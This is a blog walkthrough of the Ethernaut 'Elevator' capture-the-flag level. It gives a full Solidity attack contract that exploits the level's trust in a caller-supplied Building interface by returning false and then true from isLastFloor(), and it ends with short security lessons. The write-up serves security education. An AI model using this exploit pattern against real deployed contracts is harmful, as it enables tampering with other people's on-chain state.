Ethernaut Walkthrough — Level 11: Elevator

Published on Dec 15, 2021

This challenge starts with little help from the introduction. What we know is that there is an interface class named Building with just one method.

interface Building {
  function isLastFloor(uint) external returns (bool);
}

What I know about interfaces is that they are used to more or less force us to build out our contracts (or classes in OO-based languges) with implementations of the functions listed in the interace. In other words, interfaces force or help us to follow a certain standard we need to follow. This is handy when creating more standardized code like ERC-20 or ERC-721 tokens because we can't just all invent exotic function names. Instead we'd all be using the same interface as a base layer for our own contract and we would end up following the same naming convention for our functions.

What interfaces can't or won't do is implement business logic. The methods in the interface must be empty and it's up to the developer to implement them in their own contracts.

First thing I noticed is that the Building interface isn't implemented by the Elevator contract. What I would expect is something like:

contract Elevator is Building

That would force the Elevator contract to implement the methods from the Building interface, which would make sense to me. This isn't the case in this level though, so let's dive deeper.

One line of code that I found interesting is where an instance is created of the Building interface with the msg.sender in the constructor. This would mean that the building variables would point to our own contract we could craft. The line of code I'm talking about in this Ethernaut level is the following:

Building building = Building(msg.sender);

This would mean that if we could call the goTo() function from our own contract, the building.isLastFloor() would use our own implementation of the isLastFloor() method. Now we just need to figure out what this level wants from us. Here I honestly didn't have a clear clue and I had to start looking for other solutions online to base my attack on. I found this video to have a good explanation of what's required and I had to go through it before being able to craft my attack contract.

Here we go with the attack.

The hack

I started in Remix by by adding the original level code in order to have a reference to the contract and interface, something like this:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

contract Hack {
  // we'll write our attack here
}

Next, we'll create a reference to the Elevator instance (use your own Ethernaut contract address of course).

contract Hack {
  // our Ethernaut instance 
  address instance = 0xf7103107aD630D47E2b8e6A13641c6df18133720;
  Elevator public target;

  constructor() {
    target = Elevator(instance);
  }
}

What this does is set the target variable as a reference to our Ethernaut contract. That way, we can easily call the methods on this level's contract.

Now, when we call the goTo() method and pass in a floor number of choice, the function should behave as follows:

if (! building.isLastFloor(_floor)) { // must be FALSE
    floor = _floor;
    top = building.isLastFloor(floor); // must be TRUE
}

The first time isLastFloor() is called, it should return false in order to enter the if-statement. Then, the second time isLastFloor() is called it should return true so we need to implement our own isLastFloor() method that accepts any floor number and then first returns false but after that returns true.

We can add the following to our Hack contract. Remember, this is the isLastFloor() method that will be called from the Ethernaut level, because the msg.sender (our contract address) will be used in the goTo() method when referencing the building. It will make more sense after reading the rest of this post. First, add our method to the Hack contract.

bool result = true;
function isLastFloor(uint) public returns (bool){
    // or shorter: result = !result
    if(result == true)
    {
      // first call = false
      result = false;
    }
    else {
      // second call = true 
      result = true;
    }
    return result;
}

Now, the last thing we need to do is create our attack() method and call the original contract's goTo() method. We can do this as follows:

function attack() public {
    target.goTo(13); // make up any number
    // the Ethernaut contract will now do Building(msg.sender)
    // that means we get an instance of the Building, refering to our own msg.sender contract address
    // the isLastFloor() method that will be executed will now be the one we provided
}

The complete code on Remix now looks like this:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) { // must be FALSE
      floor = _floor;
      top = building.isLastFloor(floor); // must be TRUE
    }
  }
}

contract Hack {
  // our instance 
  address instance = 0xf7103107aD630D47E2b8e6A13641c6df18133720;
  Elevator public target;
  bool result = true;
  function isLastFloor(uint) public returns (bool){
    // or shorter: result = !result
    if(result == true)
    {
      // first call = false
      result = false;
    }
    else {
      // second call = true 
      result = true;
    }
    return result;
  }

  function attack() public {
    target.goTo(13); // make up any number
    // the Ethernaut contract will now do Building(msg.sender)
    // that means we get an instance of the Building, refering to our own msg.sender contract address
    // the isLastFloor() method that will be executed will now be the one we provided
  }

  constructor() {
    target = Elevator(instance);
  }
}

If you deploy, you may get the following message just like I did.

There is nothing wrong, just make sure you select the right contract (Hack) to deploy on Remix instead of the default selection which will be your interface.

After deploying, call the attack() method on your contract which in turn will call the goTo(13) function in the Elevator level. FYI the number 13 is just any number you want to enter. It will be set as the top floor. You can verify if this worked by going to the Ethernaut console and by calling the following:

res = await contract.floor();
res.toString(); // should return 13

Voila, you can now submit your level.

What happened exactly:

  • we created our own implementation of the isLastFloor() method
  • because the building references an instance of Building(msg.sender), our Hack contract can be that reference, meaning our own isLastFloor() method can be used to return whatever we want
  • our method returned false and then true in order to fulfull this level's requirements

Security lessons learned

  • This level was a bit vague for me because I don't really see why we would create Building(msg.sender), that just looks off to me
  • We could make sure that the isLastFloor() function is unable to change or read state variables by making it a pure function. That would prevent the function from reading from state, making it more difficult for us to manipulate the result boolean (which is a state variable)
  • you can read more about visibility and modifiers in the docs

Continue from here

Here's my solution for level 12

No comments? But that’s like a Gin & Tonic without the ice?

I’ve removed the comments but you can shoot me a message on LinkedIn to keep the conversation going.